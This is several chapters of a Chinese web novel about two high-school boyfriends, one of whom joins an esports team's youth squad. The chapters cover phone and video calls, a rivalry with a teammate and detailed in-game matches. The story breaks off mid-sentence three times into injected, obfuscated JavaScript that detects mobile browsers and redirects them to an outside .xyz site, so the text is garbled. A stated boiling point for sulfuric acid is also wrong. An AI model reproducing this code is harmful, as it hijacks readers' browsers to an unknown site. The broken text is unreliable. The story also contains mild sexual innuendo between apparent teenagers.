有那么一瞬间,谢遥集几乎想把林藏初用绳子栓起来,牢牢地绑在身边,朝着完美既定的路线走,一辈子也别分开。 但是少爷的尾音上扬,漂亮的浅棕瞳孔熠熠发亮地看过来:“当然想好啦。” “虽然不知道是对是错,但是管他呢?人能活着的时间这么短,总是要向自己喜欢的道路去走一走的。” “还有你……” 他认真地重新喊了遍对方的名字,这次是珍而重之的语气:“谢遥集,我会想你的。” 于是谢遥集又把自己那些荒诞的计划全部推翻了。 他看着林藏初,向后退了一步,将手腕上那条戴了很久的红绳手链褪下来。 “这是我……家里人送的。” 谢遥集握着少爷的手指,动作很轻,带着红绳的珠链被他顺着腕骨套进去。 他说:“就当是留个念想。” 玉石冰凉的质感碰在皮肤上,林藏初朝着路灯举起手,看见红绳底下坠着的流苏和银饰。 他莫名想起很久以前生物晚自习,两个人被罚站,那只被谢遥集偷偷递过来的、尾巴上绑了红绳的硬纸壳小猫。 不舍的心绪在这一刻忽然被抽丝剥茧地拉长,林藏初抿了抿唇,后知后觉地品到了自己心里那点儿发酸发涩的难过。 寥寥无几的烟花在寂静的夜空中先后炸开,随即连成五彩斑斓的一片。 他往谢遥集的方向走了几步,胳膊搭在对方的脖颈间。 冰凉的鼻尖相碰,林藏初偏开一点角度,在对方怔然的目光里,郑重地落下一个不带任何情欲的亲吻。 “你会记得给我打电话的,对吧?” 83.Chapter 83 和林藏初分别的日子并没有谢遥集想象中的那么难捱。 因为少爷临走时明明嘴上问的是“你要记得给我打电话”,实则每次都是他自己先忍不住发来消息。 手机的提示音每天叮叮当当接连不断地响,有时候是战队基地的饭菜照片,有的时候是窗外天空里一朵十分完整的云。 谢遥集上课的时候只能开静音,桌面上摆着老师讲的复习题,右手规规矩矩地放在桌面上,偶尔还会转几下笔。 实则左手正藏在桌屉里飞快地打字回消息。林藏初那边刚训练完,中场休息,对话框里的气泡一条一条噼里啪啦地往外蹦。 可能是因为知道谢遥集在上课所以没有发语音,但是又懒得打字,所以往下一翻,全是大段的语音转文字。 好在少爷的普通话足够好。 -菜就多练:我跟你说,我们队里有个哥们儿特搞笑,上个星期他说自己找人算卦说自己流年不利,破解之法是每天进门先迈左脚,他就真的硬生生坚持到今天。 -菜就多练:今天早上基地的做饭阿姨请假没来,谁知道一队的那一群前辈竟然全都不会做饭,其他人也不会,大家一起点外卖结果我那份竟然被拿错了!!为什么! -菜就多练:这边的天气回暖好快,才二月底啊,怎么感觉已经春天了。 配图是路边一张含苞待放的玉兰花树。 谢遥集单手一条一条地回过去。 最后又发:多穿些,小心被风吹感冒。 -菜就多练:知道啦。你怎么比我妈还唠叨。我去训练咯,一会儿聊! “……都记上哈,浓硫酸,难挥发。”化学老师在前面敲黑板,“沸点33.8℃。” 她的视线巡视般地扫射过来,谢遥集不动声色地把手机塞进桌屉里,开始记笔记。 谢遥集以前上课没有整理笔记的习惯。他记性好,基本上老师提过一遍的东西就能轻而易举地记住。 充其量也就是考试之前随便画几张简单的思维导图,辅助梳理复习知识脉络。 但自从开始辅导林藏初学习之后,课堂笔记他都会尽量笔迹规整地多记一份,平时作业里省略不写的做题过程也会按部就班地写出来。 ——习惯的养成仅需二十一天。 谢遥集记到一半,才想起来林藏初现在已经远在他市,不需要他的课堂笔记了。 来自少爷“一起学习”的承诺最终还是做了废,那些早已做好的周全计划如梦中泡影,被封存在不知名的角落里。 说不遗憾是不可能的。 但显然这种遗憾和林藏初以后要走的人生比起来,并不算什么。 谢遥集低着头,在笔记上落下最后一个句号,长长地舒了口气。 然后左手伸进桌屉里,将屏幕按亮。 -3314***629:今天晚上要不要打视频? - B市。LT-Stars训练基地。 同为青训队员的简一坐在客厅的沙发上抱着手机安静观战,然后看见他们线下试训赛的冠军忽然手一抖,原地放了个闪现出去。 简一:“?” 他抬头,只看见茶几上扔着的另一部手机亮着屏,好像闪进来条白色的微信消息。 十几秒钟后,惨失闪现的射手被对面打野于自家野区蹲死。 游戏界面灰下去,林藏初木着脸弯腰,把自己的手机反扣在茶几上,然后猝不及防地打了个喷嚏。 简一看见他的耳尖似乎是有些发红,皱眉问:“没事吧Lin?你昨晚是不是着凉了?” “……没事。” 林藏初红着脸搓了搓鼻子,心想基地在集体训练时收手机的规定真是太有用了。 不然他肯定要因为分心每天都被教练骂得狗血淋头。 SWX战队的训练日程表十分严苛,因此大部分时间里队员自己的手机都不在身边,今天是个例外,教练和队长都忙着在会议室开会,所以无暇顾及他们几个。 等到林藏初的角色从泉水复活,两队已经在自家龙坑爆发新一轮团战。队内打野交惩戒之前不幸被敌方射手点死,边路一换二的同时从对面手里险之又险抢回主宰。 他看了一眼左上角的队伍图标,对面活着的英雄只剩下上单和辅助。而他们这边还剩下几乎满血的射辅和一个残血的法师。 中路兵线已经推到高地,他估量了一下经济和局势,给辅助发了个信号,直接带龙拆了敌方的高地中塔。 双方人马复活赶到,又一轮新的团战爆发,林藏初操纵角色一个翻滚,避开敌方上单跳过来的大招控制,随即回头反打。 打野掐了恰当的时机入场收割残血,一举拿下三杀。敌方团灭,战斗迅速结束。 巨大的Victory从屏幕上跳出来,会议室里有人伸出脑袋喊:“Simple,Lin!教练喊你们过来。” “就来——!” 林藏初扬声道,手指连着点击跳过结算界面,而后从沙发起身,和简一一前一后去了会议室。 会议桌旁边已经站着几个人,林藏初的视线扫过去,发现是另外两个同期的青训队员。 其中一个有些眼熟,他认出这是训练赛排名仅次于自己的Dawn,主打射辅。 Dawn只看他一眼就移开视线,也没打招呼,反倒是旁边的队员礼貌地笑着对林藏初和简一点了点头。 “今天喊你们来,是因为正式转为二队队员的事。”教练翻开桌面上的资料,直入正题,“二队目前只有射手和辅助空缺。” “这两个位置里你们四个排名靠前,所以最近应该会安排几场和正式队员一起的训练赛。” 话音刚落,方才打招呼的队员出声问:“教练,是训练赛结束就会确定转入二队的人员名单吗?” “对的。”教练的视线从他们四个人当中扫过,笑着伸手拍了拍林藏初的肩膀,“所以一定要好好表现。” 不知道是不是林藏初的听力太好,他清楚地听到自己身后有人嗤笑了一声。 等他转过头去看的时候,又什么都没瞧见。 林藏初:……幻听了? 他不过几秒钟纳闷的功夫,教练已经开始嘱咐起其他训练赛相关的注意事项。 讲完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711579|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴许是意犹未尽,干脆顺手又叫了其他青训队员来,在会议室里把前几天那场赛后复盘也挑出来讲了。 散会之后正好是饭点,队员们各自找人结伴一起上楼去餐厅。 林藏初端着餐盘找了个空位置,还没来得及坐下,餐桌对面的人就啪嗒一下撂了筷子。 Dawn从座位上站起身,面无表情地看了林藏初一眼,端着自己的饭菜走了。 林藏初:“?” 他好像知道刚才在会议室里用鼻孔喷气的人是谁了。 这么明显要是再看不出来问题,他真就成傻子了。 但自己平时也没得罪Dawn吧?? 林藏初坐下后,绞尽脑汁地想了半天。 把这大半个月来的记忆全过了一遍,也没找出来他俩之间到底有什么恩怨,默默地拿着筷子往嘴里塞了一口米饭。 简一端着碗面条小心翼翼地回来,一抬头就看见Lin正自己一个人孤零零地坐在桌旁。 他放下餐盘,不明所以地问:“刚才不是还有一个人在这儿吗?谁啊吃这么快。” “Dawn。”林藏初咬着筷子含糊不清地解释,“看见我过来就跑了,蹿得比兔子还快。” 简一:“谁??” 他这句话说的声音有些大,反应过来之后立刻伸手捂了下嘴,小声接道:“……你怎么惹上他啦?” 林藏初:“不知道。” 他顿了下,察觉到对方话里的言外之意:“怎么了,有什么说法吗?” 简一先是微不可察地朝周围看了两圈,确认大家都在低头认真吃饭,才推开餐碗神神秘秘地凑过来。 食指朝上指了指,悄声道:“听说他上头有人……具体是哪位不知道,反正是破格招进来的。跟咱们不一样。” 还有这事儿? 林藏初挑了下眉毛,无端想起刚才会议室里教练在自己肩膀上拍的那一巴掌。 ……早知道这么麻烦,还不如当时就直接躲开了。 Dawn的局内他有被简一拽着观战过几回,表现不能说特别有天赋,但也算可圈可点。 平时队内组织的5v5互赛训练,林藏初偶尔也会对上他的射手,打法警惕注重发育,比起到处支援杀人更依赖于辅助队友的保护,和自己走的完全不是一个路子。 想到这里,林藏初忽然倏地回忆起来其中一场遥远的对局—— 那局游戏里面,他的阿离越塔单杀了对面的鲁班三次还是四次。 甚至连敌方中单放线匆匆赶来支援,最终也只得到了个一换二的局面。 敌方打野当着鲁班的面,连着抓了他四次都无功而返,林藏初心想,自己当时干嘛来着? 好像是残血想回城,但塔下血包恰好生出来,所以连按了几下回城键都没走。 ……不能这么巧吧? 少爷有些呆滞地放下嘴里的筷子,缓缓低头,从口袋掏出训练用的手机。 点开,翻到一周前那场早已被他遗忘的队内互塞。 战绩3-10-8的鲁班七号旁边,俨然明晃晃地标着个名字:青训、Dawn。 84.Chapter 84 LT-Stars基地的青训房间是两人寝。 晚训结束,简一在回三楼卧室的路上嘲笑了林藏初一路:“你完了。” “Dawn的记仇程度简直跟他的身高成反比。”推开门前,他同情地拍了拍林藏初的后背,“兄弟,你以后睡觉的时候最好两只眼睛轮流站岗。” 林藏初:“。”真有这么邪门吗? 林藏初回忆了一下Dawn的身高,想起来这人好像是青训队员里面年龄最小的。 ……教练当初鼓励的那一巴掌之所以落在他身上而没落在Dawn的身上,是不是因为对方太矮了,够着费劲儿? 他没忍住神游天外地想了下,差点把自己想乐了,又觉得不太好地及时止住。 还有三个小时收手机,简一拎着换洗衣物率先进了浴室,林藏初靠在自己的床上,手机刚拿出来,又想起白天对话框里谢遥集那句突如其来的邀约。 “……” 少爷迅速地往浴室紧闭的门口瞧了眼。门缝严严实实的,简一的洗澡速度向来很慢,一时半会出不来。 于是他抱着手机,下巴垫在膝盖上,开始噼里啪啦地给男朋友打字。 -菜就多练:在干嘛? [你戳了戳全自动滚蛋洗衣机] 那头谢遥集的消息回得很快,聊天框上方的状态栏变成“正在输入中……”,几秒钟后又变回“手机在线”。 -全自动滚蛋洗衣机:在写作业。 林藏初看了眼手机屏幕上的时间。 现在是零点二十四分。 啧。这么晚了竟然还在学,真可怜。 他按键盘的手指飞快,输入法里的字在备选栏长长地冒出来。 哦,那好吧。不打扰我们可怜的谢神熬夜学习…… 林藏初戳戳点点地把话打到半截,手机屏幕上忽然一闪,弹出来Q/Q专属的通话界面。 然而点出去的拼音没刹住车,少爷还没反应过来,手指就已经按在了挂断键上。 嘀。通话结束。 林藏初:“……” 与此同时,屏幕的另一边。 谢遥集看着那个“对方已拒绝”,缓缓在聊天框里打出去一个问号。 上方的状态栏不断变化,最后背景界面蹦出来一句带着五个感叹号的回复气泡。 -菜就多练:我他妈按错了!!!! 下一秒语音通话被少爷从对面再度打回来,谢遥集哑然失笑地重新接听,有线耳机里传出来林藏初略有些失真的声音。 “……喂?能听到吗?” 做到一半的数学试卷摊在书桌上,谢遥集握着笔的右手稍稍地挪了下位置。 “能。” “太好啦。”那边的林藏初似乎是换了个姿势,衣服和被子相互摩擦,发出窸窸窣窣的细碎声响,“天杀的,刚才在打字,结果不小心按错键盘给挂掉了……” 少年清朗的声线顺着网线轻轻击在耳膜上,谢遥集喉结一滚,恍惚有种林藏初正在自己耳边说话的错觉。 “……教练说过几天让我们打训练赛,赢了的能进二队。” 林藏初絮絮叨叨地跟他讲着战队的事,思维跳跃得飞快,从今天早饭的配餐一路讲到自己最近的遭遇。 “……麻烦事啊?噢,有的,但也不太算,就是不小心把队里一个小孩儿惹毛了……” 讲到一半,话筒那边隐隐绰绰传来队友的声音:“Lin,我出来了,你什么时候去?” 谢遥集听见林藏初的声音离远了些:“马上!” 然后又凑近小声讲:“我要去洗澡……但是有点舍不得挂电话,可以把你一起揣进浴室吗?我手机防水的。” “……”他这话问得顺理成章,语气单纯又随便,谢遥集难得卡了下壳儿,答应的时候险些把舌头给咬了,“也不是不行。” 然后就是一阵拖鞋在地面上的趿拉声,浴室的门锁被人拧开又关上,发出清脆的“咔哒”声响。 耳机里传来少爷换下衣物时的摩擦声。他似乎是把手机放在了离自己很近的地方,话筒收音效果实在太好,就连林藏初拧开水龙头时的吱呀声都听得一清二楚。 清晰的水流声混着滋滋啦啦的电流响起来,谢遥集喉咙莫名发干,好像自己也被林藏初打开的淋浴器给瞬间浇湿了脑袋。 三更半夜的,他捏着笔,面前的数学题忽然就有那么一点写不下去了。 跨年那天的记忆闯进脑海,林藏初身上被弄脏的衣服,红着脸骂骂咧咧把自己关进浴室的背影。磨砂玻璃后断断续续响起的水声。 和现在隔着网线传来的细微响动以一种极为巧合的方式渐渐重叠,谢遥集闭了下眼睛,倏地将手机倒扣在桌面上。 …… ………… 林藏初冲完澡换好衣服,顶着一头湿漉漉乱七八糟的头发把已经暗屏的手机拿起来,往浴室外面走。 走着走着,又感觉不对劲。 刚连好的蓝牙耳机里传来奇怪的声音。 乍一听像时重时轻的喘息声,等再凝神去确认的时候,又反倒不见了。 林藏初:“?” “我说,谢遥集。” 被浴室水汽氤氲过后的声音软绵绵的,就算是不可置信的质问听上去也没什么力道,反倒多了些黏黏糊糊的撒娇意味:“……你干嘛呢?” “……” 对面压着呼吸没回话。 林藏初已经走到了浴室门口,手指抵在浴室的门上。门锁刚拧开一半,又被他改了主意,咔嗒一下关上了。 他盯着自己倒映在手机黑屏上的影子,慢吞吞地开口:“问你呢,男朋友。” “怎么不说话?” 几秒钟后,谢遥集略微发哑的声音响起:“……你真的想知道?” “当然。” 少爷挑衅似的哈了声,语气无比笃定:“不敢说吗?难不成是因为正背着人在家里……” “自己动手”四个字还没说完,对方视频通话的邀请就猝不及防地弹了出来。 林藏初剩下的半句揶揄被堵在嗓子眼儿,瞳孔缓缓放大,心脏都停跳了一瞬。 这不好吧? 短短的零点几秒钟内,少爷只来得及闪过这一条想法,等他回过神来的时候,已经手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725907|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比脑子还快地接了。 “……我草!” 林藏初下意识地捂住屏幕,闭了下眼。 随即,他听见耳机里传来一句不太真切的轻笑声。 盖在手机屏幕上的手指慢慢挪开,林藏初料想中的那种场面并没出现,镜头里是一只干干净净的、带着青筋的左手。 再旁边是写到一半的草稿纸,几张交叠着盖在一起,离得最近的是函数图像,lnx和e的x次方不等式,以及没算完的回归方程。 “……” 少爷但凡多看一眼都觉得晕,登时有种哑巴吃黄连的憋屈感:“谢遥集!你故意骗我!!” 屏幕另一端。 在他看不见的地方,谢遥集的右手将纸巾扔进垃圾桶。 “我哪儿骗你了?” 林藏初语塞。 他还是觉得有些蹊跷,但又没有切实证据,难道要光明正大地说自己刚才往带颜色的方向想—— 那也太在男朋友面前掉面子了。 少爷左右权衡,最终还是败给了自己比饺子皮还薄的脸面。 他拉开浴室的门,随口找了个正常的话题,一边擦头发一边往外走,准备把这事儿越过去。 谁知同在房间里的简一看见林藏初出来,霎时眼睛放光地举着平板朝他扑过来:“哎,Lin!你洗完啦!!” 林藏初下意识后退一步,但还是没能逃脱Simple热情似火的打招呼方式。 于是片刻之后,远在千里之外的谢遥集听见耳机里传来一阵劲爆的男女喘息声。 紧接着视频通话的画面倏地一歪,某个陌生的少年正搂着林藏初的脖子不撒手,兴高采烈地举着平板:“看我找到什么好东西!欧美大片!!” 谢遥集:“……?” 屏幕镜头迅速天旋地转,林藏初慌里慌张地把手机往身后藏,拼命地按音量减小键:“什么啊!我不看!!” 简一抓着他继续安利:“嘿嘿,这个可劲爆了!你绝对喜欢!!” 林藏初绝望地开始挣扎:“不,我不喜欢……” 两人你推我搡地从浴室门口一直拉扯到床边,就在简一试图拉视频进度条开始新一轮介绍时,门外忽然响起副教练的怒吼声:“Simple!你给我出来!!” “晚训最后那把你打得什么玩意儿!还有昨天晚上——你是不是偷偷跑到其他寝室跟人打扑克了?” TL-Stars的青训教练有个习惯,特别喜欢在每天晚训之后的洗漱时间随机抽人单独检查谈话,尤其是他们几个排名靠前的。 就连林藏初也被他毫不留情地骂过。 简一不敢耽搁,耷拉着脸抱着手机怏怏地出门听训领检讨去了。 只剩下房间里的林藏初,林藏初没关视频通话的手机,还有手机屏幕对面全程目睹一切的谢遥集。 林少爷深吸口气,把手机缓缓平举到自己面前。 屏幕对面的镜头还开着,似乎是被人伸手从原本摆在桌面的支架上拿了起来。 死一般的沉寂里,他听见谢遥集饶有兴致地开口问: “欧、美、大、片?” 85.Chapter 85 林藏初:“……那个,你听我解释。” 谢遥集静了几秒,没有接他的话,反而开口问道:“林小少爷,你有想我吗?” 林小少爷被他这一句话给问哑了。 白净的脸颊很可疑地冒了些红,他张了张嘴,原本组织好的语言化为泡影,只剩下句闷而直白的:“……想。” “嗯。”谢遥集说,“我也很想你。” “所以——其实,刚才就是你认为的那样。” ……? 啥?他认为的哪样? 林藏初的脑子起初没反应过来,过了两秒才意识到谢遥集说的是什么。 “!” !!! “你、我草?!你……” 当时那种游刃有余的心情在欧美大片的冲击下已经飞去了九霄云外,少爷的脸色彻底爆红,他烫手山芋似的把手机扔进被子里,“流氓!!!” “嗯,我确实是。” 谢遥集十分诚实地承认了这一点。 手机已经被林藏初整个倒扣进被子里,他看不见谢遥集的表情,但对方说的话还是能从蓝牙耳机里传出来:“……我可以补偿的。” 林藏初下意识问:“什么补偿?” 谢遥集低声说了几个字。林藏初在听清后直接连手里抱着的枕头也一起扔了。 “……呸,以为谁都像你!!” 不能外传的荤话就这么被人大喇喇地摆在明面上,少爷的脑袋窘迫得几乎要冒烟,整个人在床上团成一团,完全不讲话了。 又过了很久,他才听见对面从喉咙里溢出来的闷笑声。 “开玩笑的,不逗你了。” 林藏初的手指慢吞吞地摸过去,搭在被冷落遗忘的手机上:“真的?” “当然真的,骗你干什么。” 谢遥集的语气就像在哄小孩儿。 “毕竟要是弄到一半,不小心叫回来的队友给看见了,那我们林神可真是跳进黄河也……” “……谢遥集!” 刚碰到手机后壳的指尖飞速地缩了回来。林藏初气得拽了下被子,木着脸把手机又扔远几十厘米。 他就不该相信任何一个从谢遥集嘴里说出来的字。尤其是在这种时候。 谢遥集被他恼羞成怒地打断倒也不恼,勾了下嘴角,从善如流地换了个话题:“几点收手机?” 林藏初:“两点。” 他补充道:“还有半个小时。” 少爷迅速回答完毕,自己都跟着一愣。说来奇怪,他似乎被养成了某种习惯—— 谢遥集问什么林藏初就答什么,甚至要快过大脑本身的思考。 难不成是因为假期补课里被问多了? 这个念头只出现一秒就被少爷欲盖弥彰地否认掉了,他想起那些自己答不上来的书本知识点,还有数不清的……惩罚性的亲吻。 热度刚消散的脸颊又开始烧起来。 林藏初抵了下后槽牙,心想真是见鬼。再聊下去他今天非要交代在这儿不可。 “……挂了。” 他不情不愿地把手机勾回来,镜头翻转对准自己:“给我看一眼。” 谢遥集:“看什么?” “……你是真听不懂还是假听不懂?”少爷漂亮的眉头蹙起来,“你说我能看什么?” 话音未落,对面也跟着转了下镜头。 烦人的草稿纸消失不见,取而代之的是屏幕里谢遥集在台灯下被照得轮廓分明的精致五官。 狭长温和的眉眼被头发微微遮挡,朝着镜头看过来的时候,林藏初的心脏也跟着漏跳几拍。 少爷咽了下口水,干巴巴地道:“你的头发好像变长了。” “嗯。”谢遥集说,“最近太忙了,还没来得及去剪。” “你喜欢什么样的发型?” 林藏初:“……啊?我吗?” “对。”谢遥集在手机屏幕那头笑起来,镜头跟着他的动作微微晃了晃,“你喜欢什么样的?” 什么样的? 林藏初还真没想过这个问题。 准确来讲,是没想过自己在某一天竟然还能拥有“替人决定发型”的权利。 ……这是男朋友才有的专属特权。 他别别扭扭地移开视线,无处安放的手指在被子上蹭了蹭。 “……都行,随便。” “反正你长成这样,怎么剪都好看。” “或者干脆不剪也行。” “现在这个长度也很好看。” 少爷揪着被子一连串地说了很多句,每讲一句,谢遥集就跟着嗯一声。 他将林藏初的建议全部听完,最后带着笑地点点头:“好。” “那就等你回来再做主。” “晚安。” 这下是真的要挂了。 “……嗯。” 林藏初抿着唇,看了眼时间,真要挂断的时候又有点舍不得。 门外响起来简一的脚步声,他握着手机的力度紧了紧,也匆匆地扯了个笑容。 “晚安,下次见。” * TL-Stars的队内选拔赛定在了三天后。 原本宽敞的训练室已经被前来围观的其他青训队员给挤满了,简一坐在旁边的备战区,抓着林藏初的袖子:“Lin,实不相瞒,我有点紧张。” 林藏初拍了拍他的手:“紧张也没用。不如想点儿实际的——比如到时候如果被对面越塔强杀咱俩要怎么跑。” 简一顺着他的话想到那个场面,抖了一下,有些绝望地闭上了嘴。 半分钟后,TL一队和二队的队员姗姗来迟。 整场训练赛的队伍分配采用抽签方式,每支队伍由两名青训队员和三名正式队员组成。 林藏初看着教练手里抽签结果的公布名单,微不可察地往一旁坐着的几个正式队员身上扫了几眼。 被分到他们这边的是两个二队的首发和一个一队的替补。林藏初平时和他们接触不多,反倒是跟被分到对面的打野Rain要更熟上些,两个人之前还在一起双排过。 随着教练的安排,Rain从座位上起身站到对面,双手插兜地朝着林藏初笑了笑:“小林,好好打。我可不会手下留情的。” 林藏初也跟着站起来,和简一往训练桌前面走,冲着人随意地点了点头:“请多指教,雨哥。” 三分钟后,双方队员就位,第一局比赛正式开始。 Rain说不留情,就真的是一点情分没有顾及,开局直接主抓发育路,进了蓝方的红区反野,正巧与简一在半路草丛撞上。 第一波小团战爆发,中路清完线急匆匆赶来支援,敌方的射辅也紧随其后加入战局。双方各自消耗了一波血量,自家英雄技能控制少,没能把人留下,但好在野区Buff没丢。 打野刷完小怪顺路来下路抓了一波,一个大接技能,成功收走对面走位失误的Dawn的人头。对面辅助不见踪影,简一跟着打野去了中路—— 然后独自一人清线的林藏初就被忽然冒出来的鬼谷子闪开,Rain紧随其后地窜出来把他切死。 ……大意了。 林藏初捏在手里的闪现没按出来,他皱了下眉,从水晶复活后第一时间赶去参团。 对面团战少人,只把蓝拿走就从野区扬长而去,看样子并不恋战。与此同时队内落单的中路再度被鬼谷子隐身开到,在塔下被Dawn二人联手拿了人头。 局内整体经济落后,不过五分钟就被对面拔了中路一塔。 林藏初被Rain连着抓死三次,根本来不及发育,一套打下来伤害刮痧得很。又一波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786100|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团战失利,敌方顺着兵线成功推到高地。 Dawn的角色站在后排,原地转了几个圈,大咧咧地开始了回城嘲讽。 林藏初:“……” 简一还真没说错,这小孩儿是真记仇。 第一局最后以敌方胜利而告终,第二轮的队伍则要重新打乱抽签。 林藏初从教练那里领了结果,发现简一去了Dawn那队,Rain则被分到他这一队。两个队伍里的其他人倒是没变,依旧还是原来的位置。 开局Rain选择了红开,准备把敌方前来发育路支援的中路蹲死,但对面走位谨慎毫无破绽,Rain没能得手。 林藏初立刻在后面跟了个控制,收下人头的同时也被后排赶来的简一留住,挨了Dawn的几下一技能平A。 他丝血拉开回到塔下,Dawn和简一两个人位置压得太深,被前来抓人的中路找准机会扔了技能一套连招带走。 敌方下路一塔被拔,Rain因此光明正大地带着辅助进了对面红区。几人复活后团战在中路再次爆发,对面的简一率先开团,吕布随即跳大跟上控制。 林藏初一技能拉开距离成功躲开,法师和辅助不幸被吕布拿了双杀。Rain进场的时机稍晚但伤害足够,以一换三结束战斗。 几波团战有输有赢,最后总体经济占了优势,但兵线推进受阻。双方僵持到风暴龙王出现,在龙坑爆发了新一轮团战。 林藏初在被对面打野切死之前用技能抢下龙王,同时Dawn站位失误,被上单一套连招迅速秒掉。 几分钟后敌方团灭,林藏初和Dawn的个人比分来到1:1。 距离下场比赛开始有十分钟的中场休息时间。林藏初从椅子上站起身,恰好看见对面的Dawn摘下耳机,遥遥地冲着他比了个挑衅手势。 简一的位置离Dawn最近,他跟林藏初关系好,见状立刻炸毛:“黎愿,你这是什么意思?” 黎愿收回手指,没什么表情地嘁了声,幽幽地看他一眼,随后收回视线。 嘴里吐出俩字:“菜、逼。” 这话分明是骂给林藏初听的,但训练室里有点吵,两个人又隔得太远。 林藏初只看见简一腾地站起,拎着黎愿的领口把人揪起来:“你再说一遍?” “我就说了,菜逼,哈。”黎愿梗着脖子,“——你也是,能怎么样?” 简一:“你!!” “Simple!”眼看着两个人快要打起来,旁边的队友立刻围上来想,要把他俩拉开,“冷静!!” “你们俩这怎么回事儿?” 被紧急喊来的副教练看见抓在一起的两个人,皱着眉大声呵斥,“队规第四条:禁止动手推搡他人,都忘到脑袋后面去了是吧?” “报告教练。”简一不情不愿地松了手,告状道,“队规里也说严禁辱骂队友,是黎愿他先骂人的,不关我事!” 黎愿脸色不变:“我没有。” 简一:“你有!!” 黎愿:“没有。” 简一:“你就是有!!” 黎愿:“我没有。” “停!”教练忍无可忍打断他俩,捏了下眉心,“要吵出去吵!” “不想出去就都给我闭嘴——比赛结束你俩一人两千字检讨,听见没有?” “为什么是两千……” 简一还想试图挣扎,教练一个眼刀飞过来,他立刻闭嘴不吭声了。 黎愿跟他并排站着,对于这个伤敌八百自损一千的惩罚结果冷笑两声,然后被简一狠狠地瞪了两眼。 被挤在远处完美错过一切争端,只看见黎愿一个嘲讽手势就没了下文的林藏初:“?” ……不是说Dawn十分记仇吗,怎么几分钟不见,Simple自己也跟他打起来了? 86.Chapter 86 因为Dawn和Simple两个人之间的风波,原定抽好的队伍又被教练重新打乱分配了。 训练室里笼罩着一种无比诡异的低气压,围观的青训队员们噤若寒蝉不敢说话,都把注意力集中在两队之间的比赛对局上。 这一局双方经济都不占优势,几波团战更是打得有来有往,两队的辅助都是擅长先手开团的英雄,交战时一个不留神就会被对面跟上来的控制定到,惨失人头。 林藏初操纵角色翻滚,险之又险地避开对面法师的大招,松了口气。 可能因为已经是第三把的缘故,局内战况比前两次打得要更为焦灼,好几次敌方已经带兵推到高地,但都被林藏初等人从水晶复活反打,艰难地清线守家成功。 又一波团战结束,下波兵线还未到,对面五个人再次残血撤退。 经济落后,地图上敌方视野全部消失,但高地三塔全掉的情况下,谁也不敢贸然出去。 几分钟后风暴龙王刷新,林藏初又清完一波兵线,心知肚明对面有可能已经开了龙。 坐在旁边的简一和林藏初交换个眼神,默契地一前一后率先冲出高地。 “打不过吧?”队里的中单犹豫着问,“万一没抢到龙还掉了点,后面守家……” 话没说完,Rain也紧随其后地冲了出去:“总得试一下才知道。对面在打龙状态都不算好,能换掉几个算几个。” “——再不济也要把射手给切掉。” 地图视野随着简一赶到龙坑而亮了起来,风暴龙王的血条只剩下三分之一,并且还在岌岌可危地不断下降。 ……来不及了。 林藏初在心里默默换算了一下其他人的位置和距离,龙王这个血条被彻底击杀前Rain几个人根本赶不到这边。 他心一横,先是发了集合信号,而后掐着龙王血量,在简一的掩护下毫不犹豫直接冲前入场。 对面立刻反应过来,中路和上单开始转头甩出技能反打,被林藏初几个走位躲掉,找准空隙转火敌方打野。 后者的关注重点全在风暴龙王身上,本身又算是个脆皮刺客,技能全无的情况下也没来得及躲,血量几乎是瞬间蒸发。 随着敌方打野被杀,简一毫不犹豫地开了大招跳进人堆抢龙,林藏初也走位绕前,顶着被切死的压力跟上平A输出。 一时间屏幕上各种英雄技能眼花缭乱,分不清谁是谁,残血的林藏初在混战中被对面上单用控制定住。 后赶来的Rain和法师匆匆进场,同时屏幕上跳出来风暴龙王的击杀播报。 ——关键抢夺! “Simple!好样的!!”林藏初听见旁边有人忍不住喊了一句。 游戏屏幕因为角色死亡而灰暗下去,他的胸腔随着呼吸剧烈起伏,悬着的石头终于落地。 抢了就是能打!还有希望!! 场上剩下的四人瞬间斗志昂扬,跳进战场和敌方英雄激烈拼杀在一起,以二换三拿下这场团战的最终胜利。 Rain等人带着兵线从中路推上高地,但对面打野已经从泉水复活,硬生生地将本该一波的局面给拖住——双方人马再度齐聚,只不过这次是在敌方水晶前。 林藏初从地图赶来耽误一段时间,自家兵线和龙被清死时对方的水晶还没有炸,但技能已经全部砸了过来。 在后期敌方伤害足够的情况下,前排队友经济不占优势,又是四打五,很快在团战中不敌火力败下阵来,硬生生被对面收掉人头。 开始撤退! 队友给唯一活着的林藏初点了信号。 林藏初从挡得严严实实的敌方几人中间看见对方只剩一小截血线的水晶,按住屏幕后拉方向键的手指顿了一瞬。 随后他点开装备栏卖了鞋子换成复活甲,不再犹豫,直接甩了个技能位移冲向敌方水晶。 